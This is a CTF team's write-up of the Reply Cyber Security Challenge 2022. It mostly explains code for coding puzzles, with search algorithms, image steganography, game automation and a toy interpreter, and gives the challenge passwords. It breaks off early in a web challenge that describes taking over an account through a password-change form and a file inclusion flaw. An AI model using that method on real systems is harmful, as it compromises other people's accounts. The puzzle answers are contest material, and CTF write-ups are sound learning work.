# Reply Cyber Security Challenge 2022

On October 14th and 15th 2022 we participated in the Reply Cyber Security Challenge 2022. We solved many challenges and overall placed second (CTFtime). These are the writeups of the challenges we solved during the event, sorted by category and points value.

## Coding (5/5)

### Coding 100

#### Overview

We are given a grid and a list of words, we have to find all the words and join the remainings characters in order to get the `flag.zip` password.

Words can be read in all 8 directions and the horizontal and vertical ones can make at most one 90 degrees turn.

#### Solution

We can do a simple dfs starting from every point in the grid and search for the words (and I wrote it in the ugliest possible way).

We take 7 parameters:

• `y`, `x`: the coordinates
• `d`: the direction
• `pref`: the word build so far
• `poss`: the visited cells (I don’t know why I named it like this)
• `not_changed`: if I already took a 90 degrees turn
``````def search(y, x, d, pref, vis, poss, not_changed):
``````

The base case happens when we found a word

`````` if pref in words:
words.remove(pref)
for Y, X in poss:
grid[Y][X] = '.'
``````

Then we check if the cell is valid:

`````` # If in the grid
if y < 0 or y >= len(grid) or x < 0 or x >= len(grid[0]): return False
# If not in a previous word
if grid[y][x] == '.': return False
# If already in the current path
if vis[y][x]: return False  # Obviously useless
``````

And then we update the cell status and hardcode every possibility:

`````` vis[y][x] = True
poss.append((y, x))

if d == UP:
if search(y - 1, x, UP, pref + grid[y][x], vis, poss, not_changed): return True
if not_changed:
if search(y, x - 1, LEFT, pref + grid[y][x], vis, poss, False): return True
if search(y, x + 1, RIGHT, pref + grid[y][x], vis, poss, False): return True
elif d == DOWN:
if search(y + 1, x, DOWN, pref + grid[y][x], vis, poss, not_changed): return True
if not_changed:
if search(y, x - 1, LEFT, pref + grid[y][x], vis, poss, False): return True
if search(y, x + 1, RIGHT, pref + grid[y][x], vis, poss, False): return True
elif d == LEFT:
if search(y, x - 1, LEFT, pref + grid[y][x], vis, poss, not_changed): return True
if not_changed:
if search(y - 1, x, UP, pref + grid[y][x], vis, poss, False): return True
if search(y + 1, x, DOWN, pref + grid[y][x], vis, poss, False): return True
elif d == RIGHT:
if search(y, x + 1, RIGHT, pref + grid[y][x], vis, poss, not_changed): return True
if not_changed:
if search(y - 1, x, UP, pref + grid[y][x], vis, poss, False): return True
if search(y + 1, x, DOWN, pref + grid[y][x], vis, poss, False): return True
elif d == UR:
if search(y - 1, x + 1, UR, pref + grid[y][x], vis, poss, not_changed): return True
elif d == UL:
if search(y - 1, x - 1, UL, pref + grid[y][x], vis, poss, not_changed): return True
elif d == DR:
if search(y + 1, x + 1, DR, pref + grid[y][x], vis, poss, not_changed): return True
elif d == DL:
if search(y + 1, x - 1, DL, pref + grid[y][x], vis, poss, not_changed): return True
else:
assert False

vis[y][x] = False
poss.pop()
return False
``````

Finally for every cell we call the dfs in every direction:

``````for y in range(len(grid)):
for x in range(len(grid[0])):
search(y, x, UP, "", [[False for i in range(len(grid[0]))] for j in range(len(grid))], [], True)
search(y, x, DOWN, "", [[False for i in range(len(grid[0]))] for j in range(len(grid))], [], True)
search(y, x, RIGHT, "", [[False for i in range(len(grid[0]))] for j in range(len(grid))], [], True)
search(y, x, LEFT, "", [[False for i in range(len(grid[0]))] for j in range(len(grid))], [], True)
search(y, x, UR, "", [[False for i in range(len(grid[0]))] for j in range(len(grid))], [], True)
search(y, x, UL, "", [[False for i in range(len(grid[0]))] for j in range(len(grid))], [], True)
search(y, x, DL, "", [[False for i in range(len(grid[0]))] for j in range(len(grid))], [], True)
search(y, x, DR, "", [[False for i in range(len(grid[0]))] for j in range(len(grid))], [], True)
``````

( I’m Sorry )

``````res = "".join("".join(i for i in j) for j in grid)
print(res.replace(".", ""))
``````

Password: `FZRQEACJLWFSEVERALYYNVRRFVCPUWTMISZNLERUTXIMVIJHNXEDETXWURRUEREDOPHPHMMDKWYOSMRELLAMSYHBUZGHGVVEFZRRNLBTJSAMFMOCPYEANGDBBTCWIETXBUQPZOJOAXAEDRSINZXBSQMDBEIZOIUAOAPRTRAVELEDOWLCLWJEIOLVHLHGOCWOZCDQYLDTCORWQECINQXIEHFIFWRKDLEKATSIMLKRNFZFBTJEKJYSJPENUZVENSKXLSAJZCAZWSBWCFLCCEJZLAFMSNTYAUGBLFRWFTDQGASDWVEWJYQZLAENMNXJEYIESIKSNOOKDLXTNHRHCASCBYVNTORIUFLAIPRHYOOSTPJPEWOGPGFKNEGULMRPRBQAISLBTAUSINPRKCKMMPFFKCRWJNATYPNTNKTCEYAOMKORNGSMEGXAEILDEDIBLESSEDBOGATSPESLKBTJENORMOUSZOMAMEXBBTEUNCMRUUPSRROSNSTFOQHNDNNYMRSXBHEVDABANDONEDREMEMBEREVAFUECPAGAATGMUPBMYSXLKTSPVRIDEBHAKODTRPYEHMOZPDHRMPTTEFUFLEHTDRSRBVOCJSINORPYUAVFDCNIRQYONHDYCXOKNOBIUOWEHIPIGGEZCHXZZBHTATEGFZUTIEMKTIZRNTBEEQMZSCUTXERKAVAQCBHAMIVSKXIQGWLCKUTNFUXUWAZQQKGOSDEGWECPOGKBVQUBKMOJNVDEHSINRUFMHXFJVSBHPXZRTDGUZJICWBQAZYMMKNLSDCHYZXS`

### Coding 200

#### Overview

This challenge has not much to say, all the rules are well explained in the `README.md` file, so I’m not going to explain them in details.

Basically we have to find all the possible paths between two points in a maze of blackholes that evolves similarly to the game of life. In addition to that, we have portals that teleports you across the map.

#### Solution

Afraid of performances (and pushed by a strange gut feeling) I started writing the code in C++ (and never regretted it, even if it was probably not necessary).

The idea is to precompute all the states until a maximum depth and then do dfs to find all the paths (using a better search algorithm is useless, since we have to find all the best paths and not just one of the best).

To store everything we need a lot of vectors:

• `grid`: for the initial grid
• `time_grid`: for all the states of the grid
• `portals`: for the portals
• `valid_portals`: to check if a portal is valid at a particular step
• `(start|end)_(x|y)`: for the starting and ending point
`````` #define MAX 1000

int W = grid[0].size(), H = grid.size();
vector <vector <pair <int, int>>> portals(H, vector <pair <int, int>> (W, {-1, -1}));
vector <vector <vector <bool>>> valid_portals(MAX, vector <vector <bool>> (H, vector <bool> (W, false)));
vector <vector <string>> time_grid;

int start_x, start_y;
int end_x, end_y;
``````

For the dfs:

• `on_portal`: if this portal has already been used
• `visited`: if we already visited a specific cell
``````vector <vector <bool>> on_portal(H, vector <bool> (W, false));
vector <vector <bool>> visited(H, vector <bool> (W, false));
``````

``````int best_time = MAX;
int best_portals = 0;
int n_sols = 0;
vector <string> paths;
``````

First, we save all the initial information (portals and start / end) and we clear the map from everything that is not a blackhole (this is important in order to calculate the blackholes state at every timestep)

``````    for (int y = 0; y < H; y++) {
for (int x = 0; x < W; x++) {
if (grid[y][x] == 'A') {
start_y = y, start_x = x;
}
if (grid[y][x] == 'B') {
end_y = y, end_x = x;
}
if ('a' <= grid[y][x] && grid[y][x] <= 'z') {
for (int yy = 0; yy < H; yy++) {
for (int xx = 0; xx < W; xx++) {
if ((y != yy || x != xx) && grid[yy][xx] == grid[y][x]) {
portals[y][x] = {yy, xx};
valid_portals[0][y][x] = true;
on_portal[y][x] = true;
goto found;
}
}
}
found:;
}
}
}

for (int y = 0; y < H; y++) {
for (int x = 0; x < W; x++) {
if (grid[y][x] != '&') {
grid[y][x] = '.';
}
}
}
``````

We simulate the blackholes to get the `time_grid` and the `valid_portals` (we cannot do this separately, as I initially did, because if a blackhole ends up on a portal, not only it destroies it and its twin, but the twin-portal becomes a blackhole as well):

``````    for (int i = 0; i < MAX - 1; i++) {
time_grid.push_back(grid);
bh_step(i + 1);
}
...
const int dy[8] = {-1, 0, 1, -1, 1, -1, 0, 1};
const int dx[8] = {-1, -1, -1, 0, 0, 1, 1, 1};

void bh_step(int t) {
vector <string> new_board(H, string(W, '.'));

for (int y = 0; y < H; y++) {
for (int x = 0; x < W; x++) {
int neigh = 0;
for (int i = 0; i < 8; i++) {
int ny = y + dy[i], nx = x + dx[i];
if (ny < 0 || ny >= H || nx < 0 || nx >= W) continue;
neigh += grid[ny][nx] == '&';
}
if (grid[y][x] == '&' && (neigh == 2 || neigh == 3)) {
new_board[y][x] = '&';
} else if (grid[y][x] != '&' && neigh >= 3) {
new_board[y][x] = '&';
}
}
}

for (int y = 0; y < H; y++) {
for (int x = 0; x < W; x++) {
if (!valid_portals[t - 1][y][x]) continue;
if (new_board[y][x] != '&') {
valid_portals[t][y][x] = true;
}
}
}
for (int y = 0; y < H; y++) {
for (int x = 0; x < W; x++) {
if (valid_portals[t][y][x] && !valid_portals[t][portals[y][x].first][portals[y][x].second]) {
valid_portals[t][y][x] = false;
new_board[y][x] = '&';
}
}
}

grid = move(new_board);
}
``````

Finally we can do the search:

``````    string res = "";
dfs(start_y, start_x, 0, 0, res);
...
const int Dy[4] = {-1, 0, 0, 1}, Dx[4] = {0, -1, 1, 0};
const string dir[4] = {"N", "W", "E", "S"};

void dfs(int y, int x, int t, int n_portals, string& path) {
if (t > best_time) return;
if (time_grid[t][y][x] == '&') return;
if (y == end_y && x == end_x) {
if (t < best_time) {
best_time = t;
best_portals = n_portals;
n_sols = 1;
paths.clear();
paths.push_back(path);
} else if (t == best_time && n_portals > best_portals) {
best_portals = n_portals;
n_sols = 1;
paths.clear();
paths.push_back(path);
} else if (t == best_time && n_portals == best_portals) {
n_sols++;
paths.push_back(path);
}

return;
}

if (visited[y][x]) return;
visited[y][x] = true;

for (int i = 0; i < 4; i++) {
int ny = y + Dy[i], nx = x + Dx[i];
if (ny < 0 ||  ny >= H || nx < 0 || nx >= W || time_grid[t][ny][nx] == '&' || visited[ny][nx]) continue;

path += dir[i];
if (valid_portals[t][ny][nx] && on_portal[ny][nx]) {
int py = portals[ny][nx].first, px = portals[ny][nx].second;
on_portal[ny][nx] = false;
on_portal[py][px] = false;
visited[ny][nx] = true;

dfs(py, px, t + 1, n_portals + 1, path);

visited[ny][nx] = false;
on_portal[ny][nx] = true;
on_portal[py][px] = true;
} else {
dfs(ny, nx, t + 1, n_portals, path);
}
path.pop_back();
}

visited[y][x] = false;
}
``````

``````    sort(paths.begin(), paths.end());
cout << n_sols << "-";
for (string& s : paths) {
cout << s;
}
cout << "-" << best_portals << endl;
``````

Password: `9-NENNNWSSSWWWWNENNWSSSWNWWWNENNWSSSWWNWWNENNWWSESWWWWNESWNNESWWWWWNESWNNEWSWWWWNEWNENWSSWWWWNEWWNEESWWWWWNEWWNEEWSWWWW-2`

### Coding 300

#### Overwiew

We are given a `png` file of a meaningless image and a really really vague description of what to do. The only thing that we know is that the image has been shuffled and there is some data hidden with `stepic`.

From the `README.md` file:

``````np.random.seed(seed)
indices = np.random.permutation(len(pix))
...
stepic.encode(img, message)
...
imutils.rotate(img, angle=rot_angle)
``````

#### First step

It is clear that we have to somehow get (or guess) the seed. I called `stepic.decode` on the whole image and got `#####23#####`. I was running it also on chunks the of image and got weird stuffs, so I took a really long time to realize that it was not some weird artifact, but it was indeed the seed.

At least now we can unshuffle the image:

``````img = Image.open(file)
data = stepic.decode(img)
seed = int(data.replace("#", ""))

np.random.seed(seed)
pix = img.getdata()
indices = np.random.permutation(len(pix))

real_pixs = [None for i in range(len(pix))]
for n, ind in enumerate(indices):
real_pixs[ind] = pix[n]

img.putdata(tuple(real_pixs))
``````

And we get this image

#### Second step

That looks like a 16x16 sudoku, but shuffled. Thankfully the `README.md` gives an hint for this:

``````Hint: once the image is reconstructed, each sub-block of the board will contain steganographed binary message, e.g., 010111. The two most significant digits represent how much it has been rotated, e.g., 01 = 90°, and the remaining four represent its original position
``````

After a bit of trial, errors and guessing, we find out that the sub-blocks are the 4x4 boxes and that we have to split the image in blocks of 481x481 pixels, run `stepic.decode` on them and rearrange them as explained.

``````sections = [[None for x in range(4)] for y in range(4)]
dim = 481

for y in range(0, img.height, dim):
for x in range(0, img.width, dim):
cut = img.crop((x, y, x + dim, y + dim))
sdata = int(stepic.decode(cut)[5:11], 2)
cut = cut.rotate(-90 * (sdata >> 4))
sections[(sdata & 0b11)][(sdata & 0b1111) >> 2] = cut

for y in range(0, img.height, dim):
for x in range(0, img.width, dim):
img.paste(sections[x // dim][y // dim], ((x, y, x + dim, y + dim)))
``````

Getting this nice sudoku:

#### Third step

OCR time… or not…

`tesseract` fails miserably to read the image, but the numbers looks really regular, so we could try a pixel by pixel difference to recognize them. Suddenly the board is not super regular as well: it has an annoing border on the left and upper side and the image size is not divisible by 16.

What turned out to work is to crop the numbers as much as possible, after that, the root mean square of the difference of two equal numbers will always be almost zero.

We also need some reference, but since we have just 16 numbers, we can extract them by hand.

##### My OCR

So, we convert the image to gray-scale, approximately extract the numbers and crop them:

``````# For some weird reason, using any(...) doesn't work
def iswhiterow(pixs, y, left, right):
for x in range(left, right):
if pixs[x, y] < 100: return False
return True
def iswhitecol(pixs, x, up, right):
for y in range(up, right):
if pixs[x, y] < 100: return False
return True

def super_crop(img):
up = 0
down = img.height - 1
left = 0
right = img.width - 1

while iswhiterow(pimg, up, left, right):
up += 1
if up == down: return None  # Empty cell
while iswhiterow(pimg, down, left, right):
down -= 1
down += 1
while iswhitecol(pimg, left, up, down):
left += 1
while iswhitecol(pimg, right, up, down):
right -= 1
right += 1

return img.crop((left, up, right, down))

img = img.convert("L")

cuts = []
ydim = img.height // 16
xdim = img.width // 16
for y in range(0, img.height - 20, ydim):
for x in range(0, img.width - 20, xdim):
cuts.append(super_crop(img.crop((x + 10, y + 10, x + xdim - 10, y + ydim - 10))))
``````

We save every cropped number and select by hand the reference images.

Now we can recognize every number

``````def imgdiff(im1, im2):
diff = ImageChops.difference(im1, im2)
return ImageStat.Stat(diff).rms[0]

def get_val(img):
for ind, ref in enumerate(refs):
if abs(img.width - ref.width) > 10: continue  # Otherwise every number > 10 will be recognized as a 1
val = imgdiff(img, ref)
if val < 1:
return ind + 1
``````

#### Final step

Obviously now we have to solve the sudoku and luckly `sagemath` has a `sudoku` function, so this step turned out to be pretty easy.

``````from sage.all import Matrix, sudoku
solved = list(sudoku(Matrix(board)))
``````

the zip password is the whole board

``````passwd = ""
for y in range(16):
for x in range(16):
passwd += str(solved[y][x])
``````

This script luckly works for every level with no extra modifications, so we just automate the zip extraction, wait a couple of minutes for all the 50 levels to be solved and get the flag.

### Coding 400

The challenge is a game with four different levels, of increasing difficulty, which we had to “automate” as they were too time consuming to solve by hand. To do this we used `python3`, `requests` and some other libraries.

The first level is pretty easy, the task is to find the first 150 values of a sequence, which happen to be the y-values of a parabola. We parsed the initial values and then computed the remaining 150:

``````baseurl = "http://gamebox2.reply.it"
endp = "4ykubm9gMDXFSWHlBe5JqUBBIvhodV2V7Lu6WtOiYoUq3bOtiUgfVl2DKxXqR1968uutvqvFBQWs78M0Vh5i40gSnIypQRCTlJEy"

data = r.get(f"{baseurl}/{endp}/firstGame").text
data = data[data.find(" >[") + 3 :]
data = data[: data.find(", *")]
nums = [*map(int, data.split(", "))]

diff = nums[1] - nums[0]
diff12 = nums[2] - nums[1]
sum_inc = diff12 - diff
start = nums[0]

res = [start]
for i in range(150 + len(nums)):
res.append(res[-1] + diff)
diff += sum_inc
``````

And then we sent the sequence to the server.

``````ans = {f"userSequence[{i}]": n for i, n in enumerate(res[:150])}

resp = r.post(f"{baseurl}/{endp}/{checkans}", data=ans).text
``````

The second level is about guessing a number, given the lower and upper bounds and an oracle that answers “greater” or “lesser” to our guess. We just did a quick binary search like this:

``````data = r.post(f"{baseurl}/{endp}/secondGame", data={"passphrase": passwd}).text

left, right = [*map(int, re.search(r"Guess a number from ([\d]+) to ([\d]+) to access the next game within", data).groups())]

while left < right:
mid = (right + left) // 2
resp = r.post(f"{baseurl}/{endp}/checkSecondGame", data={"number": mid}).text
if "greater" in resp:
left = mid + 1
elif "lesser" in resp:
right = mid - 1
else:
break
``````

and then we sent the answer to the server.

The third level is just like Wordle, but the answer is 50 characters long, the alphabet is 92 characters wide and you have 50 guesses to find the answer. We just assumed that, even if the answer could theoretically be made of 50 different characters, this would never happen in practice as some chars would appear more than once. With the first two guesses we would try every character of the entire allowed range (50 different chars in the first guess, the remaining 42 plus padding in the second) and save any “Green” or “Yellow” character in the `alphabet`, a list of only the characters present in the guess of this game. By doing this we were able to reduce the single-game alphabet to a set always smaller than 47 characters. In python3 it looks like this:

``````# lvl3_attempt is a function that takes the string and sends it to the server

g0 = "".join([chr(i) for i in range(33, 127)][:50])
g1 = "".join([chr(i) for i in range(33, 127)][50:]).ljust(50, "A")
alphabet = ""
h0 = lvl3_attempt(g0)
for i in range(len(g0)):
if 'Y' == h0[i] or 'G' == h0[i]:
alphabet += g0[i]

h1 = lvl3_attempt(g1)
for i in range(len(g1)):
if 'Y' == h1[i] or 'G' == h1[i]:
alphabet += g1[i]
``````

Then for every character of the alphabet we just tried guessing a string which was the same char repeated for the entire guess, look for the indices of green cells and save that at such indexes there was the corresponding guessed character. After looping through the whole alphabet, we would get the final answer.

``````solve = {}
for c in alphabet:
hn = lvl3_attempt(c*50)
for i in range(len(hn)):
if 'G' == hn[i]:
solve[i] = c

ans = ""
for i in range(50):
ans += solve[i]

# send ans to the server
``````

After submitting the answer we get to the last level, which is an 80x100 Minesweeper board, with an unknown amount of bombs. As an added bonus, the board only shows the latest changes, so there is no way to do this “by hand”.

The first thing we had to do was to write something that would parse the board, which is done by this awful-looking code:

``````# endp is the endpoint given by level3

def lvl4_attempt(row, col):
resp = r.post(f"{baseurl}/{endp}/{checkans}", data={"row":row, "column":col})
lastindex = 0
lastcellindex = 0
for i in range(80): #rows
start = resp.text.find("<tr>", lastindex)
lastindex = start
for j in range(100): #columns
cell = resp.text.find("<td >", lastcellindex)
lastcellindex = cell + 5
endcell = resp.text.find('</td>', cell)
value = resp.text[cell+5:endcell]
value = int(value)
if value != -2: #-2 represents a hidden cell, we don't want to overwrite the local value because it might be something we know
field[(i, j)] = value
``````

We then looked for some way of solving the board, and found this library on GitHub: https://github.com/gamescomputersplay/minesweeper-solver. For each iteration we would ask the solver to try and solve the board. As a return value, it would give us a list of “known safe” cells and “known bomb” cells. We would then ask the server to uncover the safe cells, and save locally in the `field` 2D-array the cell values and where the bombs were located.
Unfortunately the game was not perfectly deterministic, so sometimes the solver resorted to guessing which cell was safe and subsequently failed due to bad luck. The code looks something like this:

``````import minesweeper_solver as ms
import minesweeper_game as mg

settings = mg.GameSettings(shape=(80, 100), mines=1200) #1200 is just a guess
solver = ms.MinesweeperSolver(settings=settings)

while True:
a, b = solver.solve(field)

if b: # b is known bombs
for x, y in b:
field[(x, y)] = -1 # -1 represents a bomb

if a: # a is known-safe cells
while a:
row, col = a.pop()
if field[(row, col)] == -2: # avoid guessing an already known cell
lvl4_attempt(row, col)
``````

After a few tries (we just let the script do its thing in the background) it finally solved the board and we got the flag.

### Coding 500

#### Overview

For this challenge we have to write an interpreter for a random language. We are provided with some example and a initial `README.md` file, unluckly the description is not complete at all, so we have to guess how the language works by looking at the examples.

From the `README.md` file we know that we have to deal with:

• numbers
• strings
• varaibles
• print statements
• variable assignement
• operations (add sub mul div)

And we known that uppercase letters have some special meanings.

#### Level 1

This is something I found out after a while, but to explain everything better, I will have to “spoil” that we will have a stack.

``````//BEGIN EXAMPLE 1
BdblbrbobwboblblbebhbP
//END EXAMPLE 1: Prints 'helloworld'
``````

Without much imagination, `P` means print and `B` defines the beginning of the string. Thus, the form of the string is: `P{s[n-1]}b{s[n-2]}b...{s[1]}b{s[0]}`. So `B` pushes a string to the stack and `P` prints the top of the stack and maybe pop it (I’ve never figued out if it actually pops).

``````//BEGIN EXAMPLE2
N2a4m3d2s1m5a2P
BrbebwbsbnbabebhbtbsbibVvrarrrirarbrirlrer=
VvrarrrirarbrirlrerP
``````

`N` must mean number, but how is it encoded?

After a while (and looking at other examples) we find out that the letters correspond to operations (`a`->add, `s`->subtract, `m`->multiply, `d`->divide) so the number form is: `N{n1}{op1}{n2}{op2}{n3}...`, so the example would translate in `2 + 4 * 3 / 2 - 1 * 5 + 2 = 42` without respect to the operations priority. Similarly to the string, the number gets pushed in the stack.

`V` Is the variable sign and is followed by the variable name. The name can be followed by `=`, otherwise it gets pushed into the stack.

``````//BEGIN EXAMPLE3
Vvrarrrirarbrirlrer2rP BrbebwbsbnbabebhbtbsbibVvrarrrirarbrirlrer2r=
``````

From this we understand that the lines have to be split on spaces and read from right to left.

``````//BEGIN EXAMPLE4
VvrarrrP N4d2N0a2m2s1MULVvrarrr=
//END EXAMPLE4: prints '6'
``````

The operations are pretty easy, they can be `ADD`, `SUB`, `MUL`, `DIV` and they use the two top elements on the stack:

``````n2 = stack.pop()
n1 = stack.pop()
res = n1 op n2
``````

Example five is broken, because one variable name is wrong…

#### First interpreter

Now we have everything needed to write the interpreter for this level.

We will have global stack (a list) and variables (a dictionary). We define a class to interpret an instruction block (not a line, a single block):

``````variables = {}
stack = []

class Instr:
def __init__(self, code):
self.code = code
self.ind = 0

def eval(self):
output = ""
while self.ind < len(self.code):
if self.code[self.ind] == 'B':
stack.append(self.parse_str())
elif self.code[self.ind] == 'P':
output += str(stack.pop())
self.ind += 1
elif self.code[self.ind] == 'N':
stack.append(self.parse_int())
elif self.code[self.ind] == 'V':
self.parse_var()
else:
num2 = stack.pop()
num1 = stack.pop()
if self.code[self.ind] == 'A':
assert self.code[self.ind : self.ind + 3] == "ADD"
stack.append(num1 + num2)
elif self.code[self.ind] == 'S':
assert self.code[self.ind : self.ind + 3] == "SUB"
stack.append(num1 - num2)
elif self.code[self.ind] == 'M':
assert self.code[self.ind : self.ind + 3] == "MUL"
stack.append(num1 * num2)
elif self.code[self.ind] == 'D':
assert self.code[self.ind : self.ind + 3] == "DIV"
assert num2 != 0
stack.append(num1 // num2)
else:
print(self.code)
print(self.ind, self.code[self.ind])
assert False, "Unknown uppercase"
self.ind += 3

return output

def parse_str(self):
self.ind += 1
res = ""
while self.ind + 1 < len(self.code) and self.code[self.ind + 1] == 'b':
res += self.code[self.ind]
self.ind += 2
return res[::-1]

def get_num(self):
res = 0
while self.code[self.ind].isdigit():
res *= 10
res += int(self.code[self.ind])
self.ind += 1
return res

def parse_int(self):
self.ind += 1
res = self.get_num()

while self.ind < len(self.code) and self.code[self.ind] in "asmd":
if self.code[self.ind] == 'a':
self.ind += 1
res += self.get_num()
elif self.code[self.ind] == 's':
self.ind += 1
res -= self.get_num()
elif self.code[self.ind] == 'm':
self.ind += 1
res *= self.get_num()
elif self.code[self.ind] == 'd':
self.ind += 1
res //= self.get_num()
else:
assert False, "Unknown operation"

return res

def parse_var(self):
global variables
self.ind += 1
varname = ""

while self.ind < len(self.code) and self.code[self.ind] in string.ascii_lowercase + string.digits + "._":
varname += self.code[self.ind]
self.ind += 1

assert self.ind < len(self.code)
if self.code[self.ind] == '=':
variables[varname] = stack.pop()
self.ind += 1
else:
assert varname in variables
stack.append(variables[varname])
``````

Not much to say on this code, it’s just the implementation of what I have explained in the first part.

We known that we can parse every line separately, so we iterate through them and execute them one by one to get the password of the first level.

``````def run_all(code):
final = ""
for line in code.splitlines():
instrs = line.split()[::-1]
final += parse_line(instrs)
return final

def parse_line(instrs):
instr_ind = 0
result = ""
while instr_ind < len(instrs):
result += Instr(instrs[instr_ind]).eval()
instr_ind += 1

return result
``````

password: `3314p1848m5l348_6tz1817236bv31536908260dp033188sjuvq17633170412113334-425xprz34x0tg22xq`

Obviously this is not the code I initially written, I solved the first level with a orrible script. After I’ve seen that the complexity of the levels were rising, I restarted and this is an extract of the final code.

#### Level 2

In level 2 we are introduced with conditional statements. Reversing the blocks of the line, they can be in two forms:

``````BOH {condition} | {if true} HOB
``````

equivalent to:

``````if (condition) {
if true
}
``````

or:

``````BOH {condition1} | {if true 1} OH {condition2} | {if true 2} {if false} HO HOB
``````

equivalent to:

``````if (condition1) {
if true 1
} else if (condition2) {
if true 2
} else {
if false
}
``````

So `BOH` is closed by `HOB` and `OH` is closed by `HO`, expecting nested ifs in the next levels, I haven’t distinguished between `BOH` and `OH` and treated everything in the form:

``````if (condition) {
if true
} else {
if false
}
``````

The condition statements are terminated by two letters that identifies the comparison to do and they work similarly to the operations: they take the two top values on the stack and compare them.

The type of comparison are the classic ones (read them backward): `QE` is `==`, `TL` is `<` and so on.

We also have boolean operator (`AND` and `OR`) between the conditional statements.

#### Second interpreter

We create a subclass of `Instr` for the conditional instructions, that overwrite `eval` and `parse_var` (`parese_var` is just for error checking, since we cannot have an assignement in a conditional statement):

``````class CondInstr(Instr):
def __init__(self, code):
super().__init__(code)

def eval(self):
while self.ind < len(self.code):
if self.code[self.ind] == 'B':
stack.append(self.parse_str())
elif self.code[self.ind] == 'P':
assert False, "Conditional print"
elif self.code[self.ind] == 'N':
stack.append(self.parse_int())
elif self.code[self.ind] == 'V':
self.parse_var()
else:
num2 = stack.pop()
num1 = stack.pop()
if self.code[self.ind] == 'A':
assert self.code[self.ind : self.ind + 3] == "ADD"
stack.append(num1 + num2)
elif self.code[self.ind] == 'S':
assert self.code[self.ind : self.ind + 3] == "SUB"
stack.append(num1 - num2)
elif self.code[self.ind] == 'M':
assert self.code[self.ind : self.ind + 3] == "MUL"
stack.append(num1 * num2)
elif self.code[self.ind] == 'D':
assert self.code[self.ind : self.ind + 3] == "DIV"
assert num2 != 0
stack.append(num1 // num2)

# conditions
else:
assert self.ind + 2 == len(self.code)
if self.code[self.ind:self.ind + 2] == "QE":  # ==
return num1 == num2
elif self.code[self.ind:self.ind + 2] == "EL":  # <=
return num1 <= num2
elif self.code[self.ind:self.ind + 2] == "TL":  # <
return num1 < num2
elif self.code[self.ind:self.ind + 2] == "TG":  # >
return num1 > num2
elif self.code[self.ind:self.ind + 2] == "EG":  # >=
return num1 >= num2
elif self.code[self.ind:self.ind + 2] == "EN":  # !=
return num1 != num2
else:
print(self.code)
print(self.ind, self.code[self.ind])
assert False, "Unknown condition"

self.ind += 3

def parse_var(self):
global variables
self.ind += 1
varname = ""

while self.ind < len(self.code) and self.code[self.ind] in string.ascii_lowercase + string.digits + "._":
varname += self.code[self.ind]
self.ind += 1

assert self.ind < len(self.code)
assert self.code[self.ind] != "=", "Conditional assignement"
assert varname in variables
stack.append(variables[varname])
``````

We create a function to evaluate a condition considering the boolean operators:

``````def eval_cond(instrs):
cond = CondInstr(instrs[0]).eval()
ind = 1
while ind < len(instrs):
next_cond = CondInstr(instrs[ind + 1]).eval()
if instrs[ind] == "AND":
cond &= next_cond
elif instrs[ind] == "OR":
cond |= next_cond
else:
assert False, "Unknown bitwise"

ind += 2

return cond
``````

And we modify the `parse_line` function to consider the `BOH`s

``````def parse_line(instrs):
instr_ind = 0
result = ""
while instr_ind < len(instrs):
if instrs[instr_ind] == "BOH":
IF = []
instr_ind += 1
while instrs[instr_ind] != '|':
IF.append(instrs[instr_ind])
instr_ind += 1

instr_ind += 1
if_true = []
while instrs[instr_ind] != "OH" and instrs[instr_ind] != "HOB":
if_true.append(instrs[instr_ind])
instr_ind += 1

if_false = []
if instrs[instr_ind] == "OH":
instr_ind += 1
if_false.append("BOH")  # OH is no different from BOH
while instrs[instr_ind] != "HO":
if_false.append(instrs[instr_ind])
instr_ind += 1
if_false.append("HOB")

instr_ind += 1

assert instrs[instr_ind] == "HOB"
instr_ind += 1

if eval_cond(IF):
result += parse_line(if_true)
else:
if len(if_false) > 2:
result += parse_line(if_false)

else:
result += Instr(instrs[instr_ind]).eval()
instr_ind += 1

return result
``````

password: `1936anok33ga16wu143102843phlqkkkmwcsw31821_31443137ps9ko3318ut93744299vsb571124022vbboc`

#### Level 3

As expected this level introduces nested ifs. We prepared for this, so this level turned out to be really easy.

#### Third interpreter

We just have to modify the `parse_line` function, in order to consider the nested `BOH`s

``````def parse_line(instrs):
...
if instrs[instr_ind] == "BOH":
IF = []
instr_ind += 1
while instrs[instr_ind] != '|':
IF.append(instrs[instr_ind])
instr_ind += 1

instr_ind += 1
if_true = []
boh_cnt = 0  # If we encounter a BOH, we must encounter a HOB before considering to end the loop
while (instrs[instr_ind] != "OH" and instrs[instr_ind] != "HOB") or boh_cnt > 0:
if instrs[instr_ind] == "BOH":
boh_cnt += 1
elif instrs[instr_ind] == "HOB":
boh_cnt -= 1
if_true.append(instrs[instr_ind])
instr_ind += 1

if_false = []
if instrs[instr_ind] == "OH":
instr_ind += 1
if_false.append("BOH")
boh_cnt = 0  # Same thing here
while instrs[instr_ind] != "HO" or boh_cnt > 0:
if instrs[instr_ind] == "BOH":
boh_cnt += 1
elif instrs[instr_ind] == "HOB":
boh_cnt -= 1
if_false.append(instrs[instr_ind])
instr_ind += 1
if_false.append("HOB")

instr_ind += 1

assert instrs[instr_ind] == "HOB"
instr_ind += 1

if eval_cond(IF):
result += parse_line(if_true)
else:
if len(if_false) > 2:
result += parse_line(if_false)

...
``````

#### Level 4

The finish line is near, we see `flag.zip`!

This level introduces loops, the syntax is:

``````LOOP {condition} | {instructions} POOL
``````

that translates to:

``````while (condition) {
instructions
}
``````

This is almost identical to ifs, so we don’t have much work to do.

#### Final interpreter

We get the condition and the instruction in the same way we got them with the `BOH` instruction, but instead of an if-else, we will have a while:

``````def parse_line(instrs):
...
elif instrs[instr_ind] == "LOOP":
IF = []
instr_ind += 1
while instrs[instr_ind] != '|':
IF.append(instrs[instr_ind])
instr_ind += 1

instr_ind += 1
loop_instr = []
loop_cnt = 0
while instrs[instr_ind] != "POOL" or loop_cnt > 0:
if instrs[instr_ind] == "LOOP":
loop_cnt += 1
elif instrs[instr_ind] == "POOL":
loop_cnt -= 1
loop_instr.append(instrs[instr_ind])
instr_ind += 1

while eval_cond(IF):  # This is the only significant difference
result += parse_line(loop_instr)

instr_ind += 1

...
``````

And we finally get the `flag.zip` password and the 500 ( + 4 ) points.

password: `t5j494040404049t_vj492349z1212374623181838516h7j540y2m234489715y4216ka24-163177ce5n_mh1516`

## Web (4/5)

### Web 100

The goal of this challenge is to be able to gain access to the master account. we can do this through the form to change password. After that we can access the flag exploiting a file inclusion vulnerability in the master page.

1. First of all click on the door to access the challenge.

2. From the register page create a fake account for example:
`````` Email:    fake@mail.com
``````

